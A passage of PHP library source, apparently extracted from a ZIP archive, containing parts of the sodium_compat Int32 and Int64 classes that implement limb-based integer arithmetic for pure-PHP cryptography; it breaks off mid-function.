    public function xorInt32(ParagonIE_Sodium_Core32_Int32 $b)
    {
        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->unsignedInt = $this->unsignedInt;
        $return->limbs = array(
            (int) ($this->limbs[0] ^ $b->limbs[0]),
            (int) ($this->limbs[1] ^ $b->limbs[1])
        );
        return $return;
    }

    /**
     * @param int $signed
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fromInt($signed)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($signed,
'int', 1);;
        /** @var int $signed */
        $signed = (int) $signed;

        return new ParagonIE_Sodium_Core32_Int32(
            array(
                (int) (($signed >> 16) & 0xffff),
                (int) ($signed & 0xffff)
            )
        );
    }

    /**
     * @param string $string
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fromString($string)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($string,
'string', 1);
        $string = (string) $string;
        if (ParagonIE_Sodium_Core32_Util::strlen($string) !== 4) {
            throw new RangeException(
                'String must be 4 bytes; ' .
ParagonIE_Sodium_Core32_Util::strlen($string) . ' given.'
            );
        }
        $return = new ParagonIE_Sodium_Core32_Int32();

        $return->limbs[0]  = (int)
((ParagonIE_Sodium_Core32_Util::chrToInt($string[0]) & 0xff) <<
8);
        $return->limbs[0] |=
(ParagonIE_Sodium_Core32_Util::chrToInt($string[1]) & 0xff);
        $return->limbs[1]  = (int)
((ParagonIE_Sodium_Core32_Util::chrToInt($string[2]) & 0xff) <<
8);
        $return->limbs[1] |=
(ParagonIE_Sodium_Core32_Util::chrToInt($string[3]) & 0xff);
        return $return;
    }

    /**
     * @param string $string
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fromReverseString($string)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($string,
'string', 1);
        $string = (string) $string;
        if (ParagonIE_Sodium_Core32_Util::strlen($string) !== 4) {
            throw new RangeException(
                'String must be 4 bytes; ' .
ParagonIE_Sodium_Core32_Util::strlen($string) . ' given.'
            );
        }
        $return = new ParagonIE_Sodium_Core32_Int32();

        $return->limbs[0]  = (int)
((ParagonIE_Sodium_Core32_Util::chrToInt($string[3]) & 0xff) <<
8);
        $return->limbs[0] |=
(ParagonIE_Sodium_Core32_Util::chrToInt($string[2]) & 0xff);
        $return->limbs[1]  = (int)
((ParagonIE_Sodium_Core32_Util::chrToInt($string[1]) & 0xff) <<
8);
        $return->limbs[1] |=
(ParagonIE_Sodium_Core32_Util::chrToInt($string[0]) & 0xff);
        return $return;
    }

    /**
     * @return array<int, int>
     */
    public function toArray()
    {
        return array((int) ($this->limbs[0] << 16 |
$this->limbs[1]));
    }

    /**
     * @return string
     * @throws TypeError
     */
    public function toString()
    {
        return
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[0]
>> 8) & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[0] &
0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[1]
>> 8) & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[1] &
0xff);
    }

    /**
     * @return int
     */
    public function toInt()
    {
        return (int) (
            (($this->limbs[0] & 0xffff) << 16)
                |
            ($this->limbs[1] & 0xffff)
        );
    }

    /**
     * @return ParagonIE_Sodium_Core32_Int32
     */
    public function toInt32()
    {
        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->limbs[0] = (int) ($this->limbs[0] & 0xffff);
        $return->limbs[1] = (int) ($this->limbs[1] & 0xffff);
        $return->unsignedInt = $this->unsignedInt;
        $return->overflow = (int) ($this->overflow & 0x7fffffff);
        return $return;
    }

    /**
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public function toInt64()
    {
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;
        if ($this->unsignedInt) {
            $return->limbs[0] += (($this->overflow >> 16) &
0xffff);
            $return->limbs[1] += (($this->overflow) & 0xffff);
        } else {
            $neg = -(($this->limbs[0] >> 15) & 1);
            $return->limbs[0] = (int)($neg & 0xffff);
            $return->limbs[1] = (int)($neg & 0xffff);
        }
        $return->limbs[2] = (int) ($this->limbs[0] & 0xffff);
        $return->limbs[3] = (int) ($this->limbs[1] & 0xffff);
        return $return;
    }

    /**
     * @return string
     * @throws TypeError
     */
    public function toReverseString()
    {
        return ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[1]
& 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[1]
>> 8) & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[0] &
0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[0]
>> 8) & 0xff);
    }

    /**
     * @return string
     */
    public function __toString()
    {
        try {
            return $this->toString();
        } catch (TypeError $ex) {
            // PHP engine can't handle exceptions from __toString()
            return '';
        }
    }
}
PK	�[s_�0�y�yKchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core32/Int64.phpnu�[���<?php

/**
 * Class ParagonIE_Sodium_Core32_Int64
 *
 * Encapsulates a 64-bit integer.
 *
 * These are immutable. It always returns a new instance.
 */
class ParagonIE_Sodium_Core32_Int64
{
    /**
     * @var array<int, int> - four 16-bit integers
     */
    public $limbs = array(0, 0, 0, 0);

    /**
     * @var int
     */
    public $overflow = 0;

    /**
     * @var bool
     */
    public $unsignedInt = false;

    /**
     * ParagonIE_Sodium_Core32_Int64 constructor.
     * @param array $array
     * @param bool $unsignedInt
     */
    public function __construct($array = array(0, 0, 0, 0), $unsignedInt =
false)
    {
        $this->limbs = array(
            (int) $array[0],
            (int) $array[1],
            (int) $array[2],
            (int) $array[3]
        );
        $this->overflow = 0;
        $this->unsignedInt = $unsignedInt;
    }

    /**
     * Adds two int64 objects
     *
     * @param ParagonIE_Sodium_Core32_Int64 $addend
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public function addInt64(ParagonIE_Sodium_Core32_Int64 $addend)
    {
        $i0 = $this->limbs[0];
        $i1 = $this->limbs[1];
        $i2 = $this->limbs[2];
        $i3 = $this->limbs[3];
        $j0 = $addend->limbs[0];
        $j1 = $addend->limbs[1];
        $j2 = $addend->limbs[2];
        $j3 = $addend->limbs[3];

        $r3 = $i3 + ($j3 & 0xffff);
        $carry = $r3 >> 16;

        $r2 = $i2 + ($j2 & 0xffff) + $carry;
        $carry = $r2 >> 16;

        $r1 = $i1 + ($j1 & 0xffff) + $carry;
        $carry = $r1 >> 16;

        $r0 = $i0 + ($j0 & 0xffff) + $carry;
        $carry = $r0 >> 16;

        $r0 &= 0xffff;
        $r1 &= 0xffff;
        $r2 &= 0xffff;
        $r3 &= 0xffff;

        $return = new ParagonIE_Sodium_Core32_Int64(
            array($r0, $r1, $r2, $r3)
        );
        $return->overflow = $carry;
        $return->unsignedInt = $this->unsignedInt;
        return $return;
    }

    /**
     * Adds a normal integer to an int64 object
     *
     * @param int $int
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     */
    public function addInt($int)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($int,
'int', 1);
        /** @var int $int */
        $int = (int) $int;

        $i0 = $this->limbs[0];
        $i1 = $this->limbs[1];
        $i2 = $this->limbs[2];
        $i3 = $this->limbs[3];

        $r3 = $i3 + ($int & 0xffff);
        $carry = $r3 >> 16;

        $r2 = $i2 + (($int >> 16) & 0xffff) + $carry;
        $carry = $r2 >> 16;

        $r1 = $i1 + $carry;
        $carry = $r1 >> 16;

        $r0 = $i0 + $carry;
        $carry = $r0 >> 16;

        $r0 &= 0xffff;
        $r1 &= 0xffff;
        $r2 &= 0xffff;
        $r3 &= 0xffff;
        $return = new ParagonIE_Sodium_Core32_Int64(
            array($r0, $r1, $r2, $r3)
        );
        $return->overflow = $carry;
        $return->unsignedInt = $this->unsignedInt;
        return $return;
    }

    /**
     * @param int $b
     * @return int
     */
    public function compareInt($b = 0)
    {
        $gt = 0;
        $eq = 1;

        $i = 4;
        $j = 0;
        while ($i > 0) {
            --$i;
            /** @var int $x1 */
            $x1 = $this->limbs[$i];
            /** @var int $x2 */
            $x2 = ($b >> ($j << 4)) & 0xffff;
            /** int */
            $gt |= (($x2 - $x1) >> 8) & $eq;
            /** int */
            $eq &= (($x2 ^ $x1) - 1) >> 8;
        }
        return ($gt + $gt - $eq) + 1;
    }

    /**
     * @param int $b
     * @return bool
     */
    public function isGreaterThan($b = 0)
    {
        return $this->compareInt($b) > 0;
    }

    /**
     * @param int $b
     * @return bool
     */
    public function isLessThanInt($b = 0)
    {
        return $this->compareInt($b) < 0;
    }

    /**
     * @param int $hi
     * @param int $lo
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public function mask64($hi = 0, $lo = 0)
    {
        /** @var int $a */
        $a = ($hi >> 16) & 0xffff;
        /** @var int $b */
        $b = ($hi) & 0xffff;
        /** @var int $c */
        $c = ($lo >> 16) & 0xffff;
        /** @var int $d */
        $d = ($lo & 0xffff);
        return new ParagonIE_Sodium_Core32_Int64(
            array(
                $this->limbs[0] & $a,
                $this->limbs[1] & $b,
                $this->limbs[2] & $c,
                $this->limbs[3] & $d
            ),
            $this->unsignedInt
        );
    }

    /**
     * @param int $int
     * @param int $size
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedAssignment
     */
    public function mulInt($int = 0, $size = 0)
    {
        if (ParagonIE_Sodium_Compat::$fastMult) {
            return $this->mulIntFast($int);
        }
        ParagonIE_Sodium_Core32_Util::declareScalarType($int,
'int', 1);
        ParagonIE_Sodium_Core32_Util::declareScalarType($size,
'int', 2);
        /** @var int $int */
        $int = (int) $int;
        /** @var int $size */
        $size = (int) $size;

        if (!$size) {
            $size = 63;
        }

        $a = clone $this;
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;

        // Initialize:
        $ret0 = 0;
        $ret1 = 0;
        $ret2 = 0;
        $ret3 = 0;
        $a0 = $a->limbs[0];
        $a1 = $a->limbs[1];
        $a2 = $a->limbs[2];
        $a3 = $a->limbs[3];

        /** @var int $size */
        /** @var int $i */
        for ($i = $size; $i >= 0; --$i) {
            $mask = -($int & 1);
            $x0 = $a0 & $mask;
            $x1 = $a1 & $mask;
            $x2 = $a2 & $mask;
            $x3 = $a3 & $mask;

            $ret3 += $x3;
            $c = $ret3 >> 16;

            $ret2 += $x2 + $c;
            $c = $ret2 >> 16;

            $ret1 += $x1 + $c;
            $c = $ret1 >> 16;

            $ret0 += $x0 + $c;

            $ret0 &= 0xffff;
            $ret1 &= 0xffff;
            $ret2 &= 0xffff;
            $ret3 &= 0xffff;

            $a3 = $a3 << 1;
            $x3 = $a3 >> 16;
            $a2 = ($a2 << 1) | $x3;
            $x2 = $a2 >> 16;
            $a1 = ($a1 << 1) | $x2;
            $x1 = $a1 >> 16;
            $a0 = ($a0 << 1) | $x1;
            $a0 &= 0xffff;
            $a1 &= 0xffff;
            $a2 &= 0xffff;
            $a3 &= 0xffff;

            $int >>= 1;
        }
        $return->limbs[0] = $ret0;
        $return->limbs[1] = $ret1;
        $return->limbs[2] = $ret2;
        $return->limbs[3] = $ret3;
        return $return;
    }

    /**
     * @param ParagonIE_Sodium_Core32_Int64 $A
     * @param ParagonIE_Sodium_Core32_Int64 $B
     * @return array<int, ParagonIE_Sodium_Core32_Int64>
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedInferredReturnType
     */
    public static function ctSelect(
        ParagonIE_Sodium_Core32_Int64 $A,
        ParagonIE_Sodium_Core32_Int64 $B
    ) {
        $a = clone $A;
        $b = clone $B;
        /** @var int $aNeg */
        $aNeg = ($a->limbs[0] >> 15) & 1;
        /** @var int $bNeg */
        $bNeg = ($b->limbs[0] >> 15) & 1;
        /** @var int $m */
        $m = (-($aNeg & $bNeg)) | 1;
        /** @var int $swap */
        $swap = $bNeg & ~$aNeg;
        /** @var int $d */
        $d = -$swap;

        /*
        if ($bNeg && !$aNeg) {
            $a = clone $int;
            $b = clone $this;
        } elseif($bNeg && $aNeg) {
            $a = $this->mulInt(-1);
            $b = $int->mulInt(-1);
        }
         */
        $x = $a->xorInt64($b)->mask64($d, $d);
        return array(
            $a->xorInt64($x)->mulInt($m),
            $b->xorInt64($x)->mulInt($m)
        );
    }

    /**
     * @param array<int, int> $a
     * @param array<int, int> $b
     * @param int $baseLog2
     * @return array<int, int>
     */
    public function multiplyLong(array $a, array $b, $baseLog2 = 16)
    {
        $a_l = count($a);
        $b_l = count($b);
        /** @var array<int, int> $r */
        $r = array_fill(0, $a_l + $b_l + 1, 0);
        $base = 1 << $baseLog2;
        for ($i = 0; $i < $a_l; ++$i) {
            $a_i = $a[$i];
            for ($j = 0; $j < $a_l; ++$j) {
                $b_j = $b[$j];
                $product = ($a_i * $b_j) + $r[$i + $j];
                $carry = ($product >> $baseLog2 & 0xffff);
                $r[$i + $j] = ($product - (int) ($carry * $base)) &
0xffff;
                $r[$i + $j + 1] += $carry;
            }
        }
        return array_slice($r, 0, 5);
    }

    /**
     * @param int $int
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public function mulIntFast($int)
    {
        // Handle negative numbers
        $aNeg = ($this->limbs[0] >> 15) & 1;
        $bNeg = ($int >> 31) & 1;
        $a = array_reverse($this->limbs);
        $b = array(
            $int & 0xffff,
            ($int >> 16) & 0xffff,
            -$bNeg & 0xffff,
            -$bNeg & 0xffff
        );
        if ($aNeg) {
            for ($i = 0; $i < 4; ++$i) {
                $a[$i] = ($a[$i] ^ 0xffff) & 0xffff;
            }
            ++$a[0];
        }
        if ($bNeg) {
            for ($i = 0; $i < 4; ++$i) {
                $b[$i] = ($b[$i] ^ 0xffff) & 0xffff;
            }
            ++$b[0];
        }
        // Multiply
        $res = $this->multiplyLong($a, $b);

        // Re-apply negation to results
        if ($aNeg !== $bNeg) {
            for ($i = 0; $i < 4; ++$i) {
                $res[$i] = (0xffff ^ $res[$i]) & 0xffff;
            }
            // Handle integer overflow
            $c = 1;
            for ($i = 0; $i < 4; ++$i) {
                $res[$i] += $c;
                $c = $res[$i] >> 16;
                $res[$i] &= 0xffff;
            }
        }

        // Return our values
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->limbs = array(
            $res[3] & 0xffff,
            $res[2] & 0xffff,
            $res[1] & 0xffff,
            $res[0] & 0xffff
        );
        if (count($res) > 4) {
            $return->overflow = $res[4] & 0xffff;
        }
        $return->unsignedInt = $this->unsignedInt;
        return $return;
    }

    /**
     * @param ParagonIE_Sodium_Core32_Int64 $right
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public function mulInt64Fast(ParagonIE_Sodium_Core32_Int64 $right)
    {
        $aNeg = ($this->limbs[0] >> 15) & 1;
        $bNeg = ($right->limbs[0] >> 15) & 1;

        $a = array_reverse($this->limbs);
        $b = array_reverse($right->limbs);
        if ($aNeg) {
            for ($i = 0; $i < 4; ++$i) {
                $a[$i] = ($a[$i] ^ 0xffff) & 0xffff;
            }
            ++$a[0];
        }
        if ($bNeg) {
            for ($i = 0; $i < 4; ++$i) {
                $b[$i] = ($b[$i] ^ 0xffff) & 0xffff;
            }
            ++$b[0];
        }
        $res = $this->multiplyLong($a, $b);
        if ($aNeg !== $bNeg) {
            if ($aNeg !== $bNeg) {
                for ($i = 0; $i < 4; ++$i) {
                    $res[$i] = ($res[$i] ^ 0xffff) & 0xffff;
                }
                $c = 1;
                for ($i = 0; $i < 4; ++$i) {
                    $res[$i] += $c;
                    $c = $res[$i] >> 16;
                    $res[$i] &= 0xffff;
                }
            }
        }
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->limbs = array(
            $res[3] & 0xffff,
            $res[2] & 0xffff,
            $res[1] & 0xffff,
            $res[0] & 0xffff
        );
        if (count($res) > 4) {
            $return->overflow = $res[4];
        }
        return $return;
    }

    /**
     * @param ParagonIE_Sodium_Core32_Int64 $int
     * @param int $size
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedAssignment
     */
    public function mulInt64(ParagonIE_Sodium_Core32_Int64 $int, $size = 0)
    {
        if (ParagonIE_Sodium_Compat::$fastMult) {
            return $this->mulInt64Fast($int);
        }
        ParagonIE_Sodium_Core32_Util::declareScalarType($size,
'int', 2);
        if (!$size) {
            $size = 63;
        }
        list($a, $b) = self::ctSelect($this, $int);

        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;

        // Initialize:
        $ret0 = 0;
        $ret1 = 0;
        $ret2 = 0;
        $ret3 = 0;
        $a0 = $a->limbs[0];
        $a1 = $a->limbs[1];
        $a2 = $a->limbs[2];
        $a3 = $a->limbs[3];
        $b0 = $b->limbs[0];
        $b1 = $b->limbs[1];
        $b2 = $b->limbs[2];
        $b3 = $b->limbs[3];

        /** @var int $size */
        /** @var int $i */
        for ($i = (int) $size; $i >= 0; --$i) {
            $mask = -($b3 & 1);
            $x0 = $a0 & $mask;
            $x1 = $a1 & $mask;
            $x2 = $a2 & $mask;
            $x3 = $a3 & $mask;

            $ret3 += $x3;
            $c = $ret3 >> 16;

            $ret2 += $x2 + $c;
            $c = $ret2 >> 16;

            $ret1 += $x1 + $c;
            $c = $ret1 >> 16;

            $ret0 += $x0 + $c;

            $ret0 &= 0xffff;
            $ret1 &= 0xffff;
            $ret2 &= 0xffff;
            $ret3 &= 0xffff;

            $a3 = $a3 << 1;
            $x3 = $a3 >> 16;
            $a2 = ($a2 << 1) | $x3;
            $x2 = $a2 >> 16;
            $a1 = ($a1 << 1) | $x2;
            $x1 = $a1 >> 16;
            $a0 = ($a0 << 1) | $x1;
            $a0 &= 0xffff;
            $a1 &= 0xffff;
            $a2 &= 0xffff;
            $a3 &= 0xffff;

            $x0 = ($b0 & 1) << 16;
            $x1 = ($b1 & 1) << 16;
            $x2 = ($b2 & 1) << 16;

            $b0 = ($b0 >> 1);
            $b1 = (($b1 | $x0) >> 1);
            $b2 = (($b2 | $x1) >> 1);
            $b3 = (($b3 | $x2) >> 1);

            $b0 &= 0xffff;
            $b1 &= 0xffff;
            $b2 &= 0xffff;
            $b3 &= 0xffff;

        }
        $return->limbs[0] = $ret0;
        $return->limbs[1] = $ret1;
        $return->limbs[2] = $ret2;
        $return->limbs[3] = $ret3;

        return $return;
    }

    /**
     * OR this 64-bit integer with another.
     *
     * @param ParagonIE_Sodium_Core32_Int64 $b
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public function orInt64(ParagonIE_Sodium_Core32_Int64 $b)
    {
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;
        $return->limbs = array(
            (int) ($this->limbs[0] | $b->limbs[0]),
            (int) ($this->limbs[1] | $b->limbs[1]),
            (int) ($this->limbs[2] | $b->limbs[2]),
            (int) ($this->limbs[3] | $b->limbs[3])
        );
        return $return;
    }

    /**
     * @param int $c
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArrayAccess
     */
    public function rotateLeft($c = 0)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($c,
'int', 1);
        /** @var int $c */
        $c = (int) $c;

        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;
        $c &= 63;
        if ($c === 0) {
            // NOP, but we want a copy.
            $return->limbs = $this->limbs;
        } else {
            /** @var array<int, int> $limbs */
            $limbs =& $return->limbs;

            /** @var array<int, int> $myLimbs */
            $myLimbs =& $this->limbs;

            /** @var int $idx_shift */
            $idx_shift = ($c >> 4) & 3;
            /** @var int $sub_shift */
            $sub_shift = $c & 15;

            for ($i = 3; $i >= 0; --$i) {
                /** @var int $j */
                $j = ($i + $idx_shift) & 3;
                /** @var int $k */
                $k = ($i + $idx_shift + 1) & 3;
                $limbs[$i] = (int) (
                    (
                        ((int) ($myLimbs[$j]) << $sub_shift)
                            |
                        ((int) ($myLimbs[$k]) >> (16 - $sub_shift))
                    ) & 0xffff
                );
            }
        }
        return $return;
    }

    /**
     * Rotate to the right
     *
     * @param int $c
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArrayAccess
     */
    public function rotateRight($c = 0)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($c,
'int', 1);
        /** @var int $c */
        $c = (int) $c;

        /** @var ParagonIE_Sodium_Core32_Int64 $return */
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;
        $c &= 63;
        /** @var int $c */
        if ($c === 0) {
            // NOP, but we want a copy.
            $return->limbs = $this->limbs;
        } else {
            /** @var array<int, int> $limbs */
            $limbs =& $return->limbs;

            /** @var array<int, int> $myLimbs */
            $myLimbs =& $this->limbs;

            /** @var int $idx_shift */
            $idx_shift = ($c >> 4) & 3;
            /** @var int $sub_shift */
            $sub_shift = $c & 15;

            for ($i = 3; $i >= 0; --$i) {
                /** @var int $j */
                $j = ($i - $idx_shift) & 3;
                /** @var int $k */
                $k = ($i - $idx_shift - 1) & 3;
                $limbs[$i] = (int) (
                    (
                        ((int) ($myLimbs[$j]) >> (int) ($sub_shift))
                            |
                        ((int) ($myLimbs[$k]) << (16 - (int)
($sub_shift)))
                    ) & 0xffff
                );
            }
        }
        return $return;
    }
    /**
     * @param int $c
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     */
    public function shiftLeft($c = 0)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($c,
'int', 1);
        /** @var int $c */
        $c = (int) $c;

        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;
        $c &= 63;

        if ($c >= 16) {
            if ($c >= 48) {
                $return->limbs = array(
                    $this->limbs[3], 0, 0, 0
                );
            } elseif ($c >= 32) {
                $return->limbs = array(
                    $this->limbs[2], $this->limbs[3], 0, 0
                );
            } else {
                $return->limbs = array(
                    $this->limbs[1], $this->limbs[2],
$this->limbs[3], 0
                );
            }
            return $return->shiftLeft($c & 15);
        }
        if ($c === 0) {
            $return->limbs = $this->limbs;
        } elseif ($c < 0) {
            /** @var int $c */
            return $this->shiftRight(-$c);
        } else {
            if (!is_int($c)) {
                throw new TypeError();
            }
            /** @var int $carry */
            $carry = 0;
            for ($i = 3; $i >= 0; --$i) {
                /** @var int $tmp */
                $tmp = ($this->limbs[$i] << $c) | ($carry &
0xffff);
                $return->limbs[$i] = (int) ($tmp & 0xffff);
                /** @var int $carry */
                $carry = $tmp >> 16;
            }
        }
        return $return;
    }

    /**
     * @param int $c
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     */
    public function shiftRight($c = 0)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($c,
'int', 1);
        $c = (int) $c;
        /** @var int $c */
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;
        $c &= 63;

        $negative = -(($this->limbs[0] >> 15) & 1);
        if ($c >= 16) {
            if ($c >= 48) {
                $return->limbs = array(
                    (int) ($negative & 0xffff),
                    (int) ($negative & 0xffff),
                    (int) ($negative & 0xffff),
                    (int) $this->limbs[0]
                );
            } elseif ($c >= 32) {
                $return->limbs = array(
                    (int) ($negative & 0xffff),
                    (int) ($negative & 0xffff),
                    (int) $this->limbs[0],
                    (int) $this->limbs[1]
                );
            } else {
                $return->limbs = array(
                    (int) ($negative & 0xffff),
                    (int) $this->limbs[0],
                    (int) $this->limbs[1],
                    (int) $this->limbs[2]
                );
            }
            return $return->shiftRight($c & 15);
        }

        if ($c === 0) {
            $return->limbs = $this->limbs;
        } elseif ($c < 0) {
            return $this->shiftLeft(-$c);
        } else {
            if (!is_int($c)) {
                throw new TypeError();
            }
            /** @var int $carryRight */
            $carryRight = ($negative & 0xffff);
            $mask = (int) (((1 << ($c + 1)) - 1) & 0xffff);
            for ($i = 0; $i < 4; ++$i) {
                $return->limbs[$i] = (int) (
                    (($this->limbs[$i] >> $c) | ($carryRight
<< (16 - $c))) & 0xffff
                );
                $carryRight = (int) ($this->limbs[$i] & $mask);
            }
        }
        return $return;
    }


    /**
     * Subtract a normal integer from an int64 object.
     *
     * @param int $int
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     */
    public function subInt($int)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($int,
'int', 1);
        $int = (int) $int;

        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;

        /** @var int $carry */
        $carry = 0;
        for ($i = 3; $i >= 0; --$i) {
            /** @var int $tmp */
            $tmp = $this->limbs[$i] - (($int >> 16) & 0xffff)
+ $carry;
            /** @var int $carry */
            $carry = $tmp >> 16;
            $return->limbs[$i] = (int) ($tmp & 0xffff);
        }
        return $return;
    }

    /**
     * The difference between two Int64 objects.
     *
     * @param ParagonIE_Sodium_Core32_Int64 $b
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public function subInt64(ParagonIE_Sodium_Core32_Int64 $b)
    {
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;
        /** @var int $carry */
        $carry = 0;
        for ($i = 3; $i >= 0; --$i) {
            /** @var int $tmp */
            $tmp = $this->limbs[$i] - $b->limbs[$i] + $carry;
            /** @var int $carry */
            $carry = ($tmp >> 16);
            $return->limbs[$i] = (int) ($tmp & 0xffff);
        }
        return $return;
    }

    /**
     * XOR this 64-bit integer with another.
     *
     * @param ParagonIE_Sodium_Core32_Int64 $b
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public function xorInt64(ParagonIE_Sodium_Core32_Int64 $b)
    {
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;
        $return->limbs = array(
            (int) ($this->limbs[0] ^ $b->limbs[0]),
            (int) ($this->limbs[1] ^ $b->limbs[1]),
            (int) ($this->limbs[2] ^ $b->limbs[2]),
            (int) ($this->limbs[3] ^ $b->limbs[3])
        );
        return $return;
    }

    /**
     * @param int $low
     * @param int $high
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fromInts($low, $high)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($low,
'int', 1);
        ParagonIE_Sodium_Core32_Util::declareScalarType($high,
'int', 2);

        $high = (int) $high;
        $low = (int) $low;
        return new ParagonIE_Sodium_Core32_Int64(
            array(
                (int) (($high >> 16) & 0xffff),
                (int) ($high & 0xffff),
                (int) (($low >> 16) & 0xffff),
                (int) ($low & 0xffff)
            )
        );
    }

    /**
     * @param int $low
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fromInt($low)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($low,
'int', 1);
        $low = (int) $low;

        return new ParagonIE_Sodium_Core32_Int64(
            array(
                0,
                0,
                (int) (($low >> 16) & 0xffff),
                (int) ($low & 0xffff)
            )
        );
    }

    /**
     * @return int
     */
    public function toInt()
    {
        return (int) (
            (($this->limbs[2] & 0xffff) << 16)
                |
            ($this->limbs[3] & 0xffff)
        );
    }

    /**
     * @param string $string
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fromString($string)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($string,
'string', 1);
        $string = (string) $string;
        if (ParagonIE_Sodium_Core32_Util::strlen($string) !== 8) {
            throw new RangeException(
                'String must be 8 bytes; ' .
ParagonIE_Sodium_Core32_Util::strlen($string) . ' given.'
            );
        }
        $return = new ParagonIE_Sodium_Core32_Int64();

        $return->limbs[0]  = (int)
((ParagonIE_Sodium_Core32_Util::chrToInt($string[0]) & 0xff) <<
8);
        $return->limbs[0] |=
(ParagonIE_Sodium_Core32_Util::chrToInt($string[1]) & 0xff);
        $return->limbs[1]  = (int)
((ParagonIE_Sodium_Core32_Util::chrToInt($string[2]) & 0xff) <<
8);
        $return->limbs[1] |=
(ParagonIE_Sodium_Core32_Util::chrToInt($string[3]) & 0xff);
        $return->limbs[2]  = (int)
((ParagonIE_Sodium_Core32_Util::chrToInt($string[4]) & 0xff) <<
8);
        $return->limbs[2] |=
(ParagonIE_Sodium_Core32_Util::chrToInt($string[5]) & 0xff);
        $return->limbs[3]  = (int)
((ParagonIE_Sodium_Core32_Util::chrToInt($string[6]) & 0xff) <<
8);
        $return->limbs[3] |=
(ParagonIE_Sodium_Core32_Util::chrToInt($string[7]) & 0xff);
        return $return;
    }

    /**
     * @param string $string
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fromReverseString($string)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($string,
'string', 1);
        $string = (string) $string;
        if (ParagonIE_Sodium_Core32_Util::strlen($string) !== 8) {
            throw new RangeException(
                'String must be 8 bytes; ' .
ParagonIE_Sodium_Core32_Util::strlen($string) . ' given.'
            );
        }
        $return = new ParagonIE_Sodium_Core32_Int64();

        $return->limbs[0]  = (int)
((ParagonIE_Sodium_Core32_Util::chrToInt($string[7]) & 0xff) <<
8);
        $return->limbs[0] |=
(ParagonIE_Sodium_Core32_Util::chrToInt($string[6]) & 0xff);
        $return->limbs[1]  = (int)
((ParagonIE_Sodium_Core32_Util::chrToInt($string[5]) & 0xff) <<
8);
        $return->limbs[1] |=
(ParagonIE_Sodium_Core32_Util::chrToInt($string[4]) & 0xff);
        $return->limbs[2]  = (int)
((ParagonIE_Sodium_Core32_Util::chrToInt($string[3]) & 0xff) <<
8);
        $return->limbs[2] |=
(ParagonIE_Sodium_Core32_Util::chrToInt($string[2]) & 0xff);
        $return->limbs[3]  = (int)
